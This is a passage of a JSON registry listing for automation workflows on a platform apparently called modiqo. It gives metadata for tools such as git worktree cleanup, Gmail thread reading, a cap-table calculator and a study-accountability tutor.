inspect"}],"execution":{"adapters":[{"id":"ganga-300/gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"gmail-api","name":"gmail-api","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0a010862d30012780743b1305295e9310fa921856c2dbbfa8933e9ec766434b4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":5,"for_each_steps":1,"complexity":3,"apis":[{"adapter":"gmail-api","steps":3,"methods":["gmail.users.messages.list","gmail.users.threads.get"],"display_name":"gmail-api","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_PhLfwGhVQruqiYd4xenSWFzWQDa","source":"ganga-300/gmail-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":79},"cost":{"api_tokens":10358,"context_tokens":2154,"exploration_ms":22547,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/robpumpaf/cleanup-old-git-worktrees@0.1.0","reference":"robpumpaf/cleanup-old-git-worktrees@0.1.0","uri":"https://play.modiqo.ai/robpumpaf/cleanup-old-git-worktrees@0.1.0","manifest_uri":"https://play.modiqo.ai/robpumpaf/cleanup-old-git-worktrees@0.1.0","name":"cleanup-old-git-worktrees","title":"cleanup-old-git-worktrees","description":"Removes stale linked worktrees from any local Git repository while preserving the primary worktree, the current worktree, locked worktrees, and parents of registered nested worktrees.","owner":{"kind":"user","slug":"robpumpaf"},"registry_organization":"robpumpaf","tags":["typescript","git","worktree","cleanup"],"primary_domain":"domain-uncategorized","author":"robpumpaf","version":"0.1.0","published_at":"2026-09-01T07:40:03.48434+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":4575,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["cleanup_worktrees"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Path to any worktree in the target local Git repository"},{"name":"days","type":"integer","required":false,"default":7,"description":"Remove worktrees whose HEAD author date is more than this many 24-hour periods old"},{"name":"force_dirty","type":"boolean","required":false,"default":false,"description":"Delete eligible worktrees with modified or untracked files"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8001ddee34113c201f4121263b31a170632f170f246ff47b322cf2659be57334","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mugunth/ml-deployment-readiness@0.0.1","reference":"mugunth/ml-deployment-readiness@0.0.1","uri":"https://play.modiqo.ai/mugunth/ml-deployment-readiness@0.0.1","manifest_uri":"https://play.modiqo.ai/mugunth/ml-deployment-readiness@0.0.1","name":"ml-deployment-readiness","title":"ml-deployment-readiness","description":"Read-only ML deployment-readiness assessment for a local project.","owner":{"kind":"user","slug":"mugunth"},"registry_organization":"mugunth","tags":["ml","deployment","readiness","security"],"primary_domain":"domain-uncategorized","author":"Mugunthperumal372","version":"0.0.1","published_at":"2026-09-01T00:45:25.202299+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2032,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["git","sed","sed_2","sed_3"]},"parameters":[{"name":"project_path","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4532af463b9b56616904c2c508dae3a69dfa05bb09ddc56fdb88c288889a4130","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"sed","kind":"tool","source":"declared","count":3},{"name":"git","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/retinapeg/hackathon-release-readiness@0.3.0","reference":"retinapeg/hackathon-release-readiness@0.3.0","uri":"https://play.modiqo.ai/retinapeg/hackathon-release-readiness@0.3.0","manifest_uri":"https://play.modiqo.ai/retinapeg/hackathon-release-readiness@0.3.0","name":"hackathon-release-readiness","title":"hackathon-release-readiness","description":"Inspect a repository and report release blockers, safe test/demo results, and whether tests pass while the documented demo path is broken.","owner":{"kind":"user","slug":"retinapeg"},"registry_organization":"retinapeg","tags":["domain-devops","domain-reliability","effect-read-only","audience-developers","typescript"],"primary_domain":"domain-devops","author":"retinapeg","version":"0.3.0","published_at":"2026-08-31T21:47:48.402522+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":6561,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["classify","run_demo","run_tests","inspect_repository"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Repository path to inspect."},{"name":"test_command","type":"string","required":false,"default":"","description":"Optional test command override; otherwise infer from repository documentation or an optional audit manifest."},{"name":"demo_command","type":"string","required":false,"default":"","description":"Optional documented demo or judge command override; otherwise infer from repository documentation or an optional audit manifest."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:26e9a0aa8b0fe617e0638ce3a859853d89c97e2a75fbf3a3fdc15609d8851767","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/manasds/systems-knowledge-gap-map-recursive@0.0.2","reference":"manasds/systems-knowledge-gap-map-recursive@0.0.2","uri":"https://play.modiqo.ai/manasds/systems-knowledge-gap-map-recursive@0.0.2","manifest_uri":"https://play.modiqo.ai/manasds/systems-knowledge-gap-map-recursive@0.0.2","name":"systems-knowledge-gap-map-recursive","title":"systems-knowledge-gap-map-recursive","description":"Recursively crawl a Notion knowledge base and compare a resource against detailed systems knowledge gaps","owner":{"kind":"user","slug":"manasds"},"registry_organization":"manasds","tags":[],"primary_domain":"domain-uncategorized","author":"Mddevs21","version":"0.0.2","published_at":"2026-08-31T15:30:02.2449+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":7728,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"resource_url","type":"string","required":true,"description":"Public article or resource URL to compare"},{"name":"knowledge_base_url","type":"string","required":true,"description":"Public Notion knowledge-base root URL"},{"name":"max_depth","type":"integer","required":false,"default":3,"description":"Maximum child-page depth to crawl"}],"execution":{"adapters":[{"id":"manasds/notion","name":"notion","version":null,"credential_status":"none"}],"browser":true,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a15e170d3aa013de1ddc61e1b4385cdea92256eb12b2540b3c2ae967885053ec","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":37},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/rahulparas/playproof@0.2.0","reference":"rahulparas/playproof@0.2.0","uri":"https://play.modiqo.ai/rahulparas/playproof@0.2.0","manifest_uri":"https://play.modiqo.ai/rahulparas/playproof@0.2.0","name":"playproof","title":"playproof","description":"Trust-audits a rote Play by validating its inputs and inspecting its structure.","owner":{"kind":"user","slug":"rahulparas"},"registry_organization":"rahulparas","tags":[],"primary_domain":"domain-uncategorized","author":"rahulparas","version":"0.2.0","published_at":"2026-08-29T17:31:50.943155+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":11625,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["check_deps","extract_dag","resolve_path","check_version","dry_run_check","extract_access","inspect_target","validate_input"]},"parameters":[{"name":"play","type":"string","required":true,"description":"URI or local path to the Play to audit","example":"https://play.modiqo.ai/owner/name"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b0e15fdfd463209ad9f24e4e0b3512f96ed0e783c2b3d7eaba1fe0ea6182dca2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":3,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pumpurlabs/stop-docker-desktop@1.0.0","reference":"pumpurlabs/stop-docker-desktop@1.0.0","uri":"https://play.modiqo.ai/pumpurlabs/stop-docker-desktop@1.0.0","manifest_uri":"https://play.modiqo.ai/pumpurlabs/stop-docker-desktop@1.0.0","name":"stop-docker-desktop","title":"stop-docker-desktop","description":"List and stop user-owned Docker Desktop processes without sudo; launch Docker Desktop manually afterward.","owner":{"kind":"org","slug":"pumpurlabs"},"registry_organization":"pumpurlabs","tags":["docker","docker-desktop","macos","process"],"primary_domain":"domain-uncategorized","author":"pumpurlabs","version":"1.0.0","published_at":"2026-08-27T19:13:16.108298+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":3519,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["stop_docker_processes"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"stop","description":"inspect lists killable processes; stop lists and stops them","values":["inspect","stop"]},{"name":"grace_seconds","type":"integer","required":false,"default":5,"description":"Seconds to wait after TERM before KILL; accepted range is 0 through 20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1f04e8295c684ccdc624c911109058a343e109426b61b1c192ffc8e98b63a973","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ganga-300/github-authored-issues-in-range@0.1.0","reference":"ganga-300/github-authored-issues-in-range@0.1.0","uri":"https://play.modiqo.ai/ganga-300/github-authored-issues-in-range@0.1.0","manifest_uri":"https://play.modiqo.ai/ganga-300/github-authored-issues-in-range@0.1.0","name":"github-authored-issues-in-range","title":"github-authored-issues-in-range","description":"Lists open GitHub issues authored by a user within a created-date range, verified against GitHub's search total.","owner":{"kind":"user","slug":"ganga-300"},"registry_organization":"ganga-300","tags":["typescript","tool-github","job-issue-reporting","effect-read-only","github"],"primary_domain":"domain-uncategorized","author":"ganga-300","version":"0.1.0","published_at":"2026-08-26T10:45:12.585202+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3493,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":6,"names":["dates","issues","auth_github","current_user","search_query","resolved_author"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner or organization"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"author","type":"string","required":false,"default":"@me","description":"GitHub login; @me resolves through the authenticated adapter identity"},{"name":"start_date","type":"string","required":false,"default":"","description":"Range start (YYYY-MM-DD); empty defaults to 7 days ago"},{"name":"end_date","type":"string","required":false,"default":"","description":"Range end (YYYY-MM-DD); empty defaults to today"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f9e8ef50b026404d1ee8f7fc0fb26114b6bd748dd120dca8cb8362b8785e48f6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":3,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":5,"width":2,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"github","steps":3,"methods":["search/issues-and-pull-requests","users/get-authenticated"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/chetan/cap-table-model@1.0.0","reference":"chetan/cap-table-model@1.0.0","uri":"https://play.modiqo.ai/chetan/cap-table-model@1.0.0","manifest_uri":"https://play.modiqo.ai/chetan/cap-table-model@1.0.0","name":"cap-table-model","title":"cap-table-model","description":"Deterministic, dependency-free cap-table calculator for existing ownership, estimated pre-round SAFE positions, and priced financing rounds. Handles pre- and post-money SAFEs, caps, discounts, chronological MFN elections, YC 7% SAFEs, Series issuance, option-pool refreshes, and exact share reconciliation. Priced-round returns pre-round and post-round views from one solve. Ships one BigInt engine, requires only Node 18 or newer, and performs no network access, authentication, or runtime installation. Based on the transaction semantics of https://github.com/1984vc/cap-table.","owner":{"kind":"user","slug":"chetan"},"registry_organization":"chetan","tags":["typescript","cap-table","startup-finance","venture-capital","safe","priced-round","dilution","fundraising","deterministic","bigint","nodejs"],"primary_domain":"domain-uncategorized","author":"chetan","version":"1.0.0","published_at":"2026-08-21T19:13:12.761587+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":9463,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["compute_cap_table"]},"parameters":[{"name":"mode","type":"string","required":true,"description":"Calculation mode: existing, estimated-pre-round, or priced-round"},{"name":"scenario_json","type":"string","required":true,"description":"Cap-table scenario as one JSON object; use decimal strings for exact financial values"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a911b238aee7cae8727349724528115470ecbb3b96d6c015b6547a948d803359","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/pumpurlabs/git-worktree-pr-cleanup-report@0.0.1","reference":"pumpurlabs/git-worktree-pr-cleanup-report@0.0.1","uri":"https://play.modiqo.ai/pumpurlabs/git-worktree-pr-cleanup-report@0.0.1","manifest_uri":"https://play.modiqo.ai/pumpurlabs/git-worktree-pr-cleanup-report@0.0.1","name":"git-worktree-pr-cleanup-report","title":"git-worktree-pr-cleanup-report","description":"Report git worktrees whose associated GitHub pull requests are merged and local trees are clean or prunable.","owner":{"kind":"org","slug":"pumpurlabs"},"registry_organization":"pumpurlabs","tags":[],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-07-02T12:59:51.328624+00:00","visibility":"public","quality_score":null,"size_bytes":4843,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ff66a3156390fb3a80abfe649e97b2b71b8a7b425760451dd042a110c2277d14","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1194},"cost":{"api_tokens":210442,"context_tokens":27094,"exploration_ms":127744,"saved_per_run":237536},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/ananyapaliwal/study-acct@1.0.2","reference":"ananyapaliwal/study-acct@1.0.2","uri":"https://play.modiqo.ai/ananyapaliwal/study-acct@1.0.2","manifest_uri":"https://play.modiqo.ai/ananyapaliwal/study-acct@1.0.2","name":"study-acct","title":"study-acct","description":"Focus-accountability tutor for focused work.\n\n1. Turn any goal into a timed task plan.\n2. Check in with plain words, updating one task or several at once.\n3. Get a strict verdict, a smart replan when you slip, and one next action every run.\n4. Set custom-minute reminders that pop a terminal demanding your update.\n\nFor study sessions, exam prep, side projects, tech-news reading, labs, writing, or anything you want to finish.\n\nGuided setup, multi-task check-in menu, per-task timers. Offline-safe, read-only by default, no accounts or API keys.","owner":{"kind":"user","slug":"ananyapaliwal"},"registry_organization":"ananyapaliwal","tags":["domain-study-accountability","audience-students","audience-developers","effect-read-only","job-progress-tracking"],"primary_domain":"domain-study-accountability","author":"ananyapaliwal","version":"1.0.2","published_at":"2026-09-06T14:36:55.436742+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":15540,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["build_plan","fetch_quote","validate_inputs","interpret_assess"]},"parameters":[{"name":"goal","type":"string","required":true,"description":"Your study goal for this session, e.g. Finish React Hooks today. Required. Shown back in every report and reminder so you never lose the thread."},{"name":"tasks","type":"string","required":false,"default":"Algebra practice,Gym workout,Typing practice","description":"Comma-separated tasks to track. A replaceable sample template is the default — delete it and pass your own. Supports per-task minutes with Name=minutes segments, e.g. Read docs=45,Do exercises=60,Build demo=90. Tip: use exact task names in update_text so the interpreter matches them literally."},{"name":"available_minutes","type":"string","required":false,"default":"240","description":"Total study minutes available for the session, e.g. 240. Time is split across tasks (fixed Name=minutes segments are honoured first, the rest is shared out). Also used to judge ahead/behind against elapsed_minutes."},{"name":"priorities","type":"string","required":false,"default":"","description":"Optional comma-separated priorities aligned positionally with tasks: high, medium or low, e.g. high,high,medium. First task defaults to high, the rest to medium when omitted. High-priority work is protected when the tutor replans a behind-schedule session."},{"name":"update_text","type":"string","required":false,"default":"","description":"Plain-language progress update for this check-in, e.g. Finished Read docs, stuck on Do exercises. Update one task or several at once — e.g. Started task A while finishing task B. Leave empty on the first run to get a clean plan. Keywords understood: finished/done, started, halfway/partially, stuck/confusing, skip, havent started. Vague claims (pretty much done) trigger a clarification question instead of a guess."},{"name":"elapsed_minutes","type":"string","required":false,"default":"0","description":"Minutes studied so far, e.g. 90 or 1 hour (both forms accepted). Compared against available_minutes to compute ahead/behind. Leave 0 on the first run."},{"name":"reminder_minutes","type":"string","required":false,"default":"60","description":"Custom reminder cadence in minutes: any 1-59 (e.g. 5, 7, 10, 15, 45) or hourly multiples 60, 120, 180. Used by mode=setup to arm the recurring check-in service and printed as the suggested re-run rhythm."},{"name":"mode","type":"string","required":false,"default":"checkin","description":"Two modes. checkin (default): run the accountability turn — plan, interpret update, verdict, replan, next action. setup: print the reminder-service installer (copy-paste two lines to arm pop-up check-ins every N minutes; manage with tulving list/recall/snooze; uninstall cleanly). Setup mode changes nothing by itself."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a6e52128f8cf45e70ad7f18ef921c39b198699112be8ecd49fde06cfbbd758b2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"api.quotable.io","kind":"host","source":"inferred","count":1},{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"curl","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/alcadeus/proofpost@0.1.1","reference":"alcadeus/proofpost@0.1.1","uri":"https://play.modiqo.ai/alcadeus/proofpost@0.1.1","manifest_uri":"https://play.modiqo.ai/alcadeus/proofpost@0.1.1","name":"proofpost","title":"proofpost","description":"Turn recent local Git work into an evidence-backed POST or HOLD decision and deterministic builder-style social drafts. Recommended: rote play run https://play.modiqo.ai/alcadeus/proofpost repo_path=\"$(git rev-parse --show-toplevel)\"","owner":{"kind":"user","slug":"alcadeus"},"registry_organization":"alcadeus","tags":["git","social","evidence","typescript"],"primary_domain":"domain-uncategorized","author":"Aazamthakur","version":"0.1.1","published_at":"2026-09-06T14:32:27.108009+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":10293,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":8,"names":["verify_claims","inspect_worktree","render_proof_post","decide_post_or_hold","validate_repository","collect_recent_changes","select_candidate_story","collect_change_statistics"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the local Git repository to inspect."},{"name":"since","type":"string","required":false,"default":"7.days.ago","description":"Git-compatible recent-work window"},{"name":"max_commits","type":"integer","required":false,"default":20,"description":"Maximum number of recent commits to inspect (1-100)"},{"name":"channels","type":"string","required":false,"default":"linkedin,x","description":"Comma-separated draft channels: linkedin, x, build_log"},{"name":"tone","type":"string","required":false,"default":"builder","description":"Deterministic draft tone; v0.1 supports builder"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ffb7fc50656f793fe0be3e4bfddf1d276b78e7145c4cd03fdce2f20b76d9a82a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":3,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/okeshavv/cross-repo-dto-impact@0.2.0","reference":"okeshavv/cross-repo-dto-impact@0.2.0","uri":"https://play.modiqo.ai/okeshavv/cross-repo-dto-impact@0.2.0","manifest_uri":"https://play.modiqo.ai/okeshavv/cross-repo-dto-impact@0.2.0","name":"cross-repo-dto-impact","title":"cross-repo-dto-impact","description":"Find frontend code that breaks when a Spring backend DTO changes: joins a Spring/Java backend to a React/TypeScript frontend on HTTP route and DTO name, then reports every type whose TypeScript declaration claims fields the backend never sends, endpoints with no caller, and the blast radius of uncommitted backend work.","owner":{"kind":"user","slug":"okeshavv"},"registry_organization":"okeshavv","tags":["spring","react","api-contract","explore","dto","frontend","breaking-changes"],"primary_domain":"domain-uncategorized","author":"okeshavv","version":"0.2.0","published_at":"2026-09-06T14:06:19.962258+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":13804,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["build_join_index","check_dto_contract","scan_all_contracts","find_orphan_endpoints","check_uncommitted_impact"]},"parameters":[{"name":"backend_path","type":"string","required":true,"description":"Absolute path to the Spring/Java backend repository root"},{"name":"frontend_path","type":"string","required":true,"description":"Absolute path to the React/TypeScript frontend repository root"},{"name":"dto_name","type":"string","required":false,"default":"","description":"Optional. One DTO to expand into a full endpoint blast radius. Leave empty to scan every contract instead."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:96e1b62cae8658ff401565531a5ced342e98556bb2165871925f6e01041e82a0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/autonomous-browser-journey-synthesizer@1.15.26","reference":"ankurrawat/autonomous-browser-journey-synthesizer@1.15.26","uri":"https://play.modiqo.ai/ankurrawat/autonomous-browser-journey-synthesizer@1.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/autonomous-browser-journey-synthesizer@1.15.26","name":"autonomous-browser-journey-synthesizer","title":"autonomous-browser-journey-synthesizer","description":"Autonomous Headless Browser Journey Synthesizer & Core Web Vitals Auditor: Spawns sandboxed Chromium sessions, executes multi-step user interaction flows, monitors Largest Contentful Paint (LCP) and Cumulative Layout Shift (CLS), audits DOM accessibility trees, and captures network request waterfalls across 8 verification phases.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","autonomous","browser","journey","synthesizer"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"1.15.26","published_at":"2026-09-06T13:47:31.014628+00:00","visibility":"public","quality_score":1,"size_bytes":516580,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":10,"names":["step_api_ingress_probe","step_parallel_fanout_execution","step_5_trace_first_input_delay_and_inp","step_1_initialize_headless_browser_runtime","step_4_detect_cumulative_layout_shifts_cls","step_3_measure_largest_contentful_paint_lcp","step_6_audit_dom_accessibility_and_contrast","step_8_generate_web_vitals_health_scorecard","step_2_navigate_and_await_dom_content_loaded","step_7_capture_network_waterfall_and_payloads"]},"parameters":[{"name":"target_site_url","type":"string","required":false,"default":"https://modiqo.ai","description":"Target website URL for automated browser journey execution"},{"name":"viewport_dimension","type":"string","required":false,"default":"1920x1080","description":"Device viewport dimension for responsive layout rendering"},{"name":"navigation_timeout_ms","type":"number","required":false,"default":30000,"description":"Maximum allowable navigation timeout threshold in milliseconds"},{"name":"collect_network_har","type":"boolean","required":false,"default":true,"description":"Capture comprehensive network request waterfall and resource 